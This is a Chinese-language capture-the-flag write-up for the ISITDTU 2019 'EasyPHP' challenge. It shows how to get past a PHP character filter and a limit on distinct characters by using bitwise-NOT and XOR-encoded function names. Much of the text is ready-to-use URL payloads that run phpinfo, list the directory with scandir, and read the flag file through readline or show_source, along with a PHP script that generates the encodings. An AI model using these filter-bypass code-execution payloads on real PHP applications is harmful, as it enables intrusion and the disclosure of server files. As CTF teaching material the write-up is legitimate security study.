[ISITDTU 2019]EasyPHP

正则过滤了从0x00到空格,数字,单引号双引号反引号,$,&,.,字母d、e、f、g、o、p、s以及DEL字符,t第二个if限定只能使用13个不同字符不然就不行

先用取反绕过查看一下phpinfo

?_=(~%8F%97%8F%96%91%99%90)();

这里是禁止的函数,禁止了system和exec,那就没办法直接ls看文件路径了

print_r(scandir(‘.’)); 使用这个语句,继续取反尝试

1
2
3
4
5
6
7
<?php
echo urlencode(~"print_r");
echo "<br>";
echo urlencode(~'scandir');
echo "<br>";
echo urlencode(~".");
?>
1
2
3
%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1
1
?_=(~%8f%8d%96%91%8b%a0%8d)(~%8c%9c%9e%91%9b%96%8d)(~%d1);

发现过第一个没过第二个

与0xff(11111111)进行异或时,任何在该字节中的1会被变成0,‌而0会被变成1,相当于取反,同时我们还能利用异或减少不同字符的个数

1
?_=((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

上面的可替换的字符有

8b,9b,a0,9c,8f,91,9e,d1,96,8d,8c 11个,加上()^%ff;一共是16种不同的字符,超出了限定的13个,利用列内多个字符异或得到我们想要的字符,可以减少使用不同种字符的个数,如下:

1
91=9c^96^9b,8b=8c^9c^9b,8d=8f^9c^9e

print_r:第2,4,5,7位换

1
2
3
(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
==>
(%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%96%9c%ff%9c)^(%ff%9e%ff%9b%9b%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff)

变化的位置三个相互异或后再异或%ff相当于取反,不变化的位置异或三次%ff相当于异或一次

scandir:第4,7位换

1
2
3
4
5
(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)

==>

(%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%96%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff)

payload:

1
?_=((%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%96%9c%ff%9c)^(%ff%9e%ff%9b%9b%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%96%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%9e)^(%ff%ff%ff%ff%ff%ff%ff))((%d1^%ff)));

image-20240731183623394

发现了flag,直接访问会403

用show_source,readfile,readline等,由于flag位于目录最末端采用end方法,按照上述过程进行异或

这里贴一下搜集到的payload:

1
?_=((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

来自https://blog.csdn.net/dalaojiaoweb/article/details/140553968

等价于readline(end(scandir(.)))

1
2
?_=((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

来自:https://www.nssctf.cn/note/set/1495

1
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

https://blog.csdn.net/mochu7777777/article/details/105786114

等价于show_source(end(scandir(.)));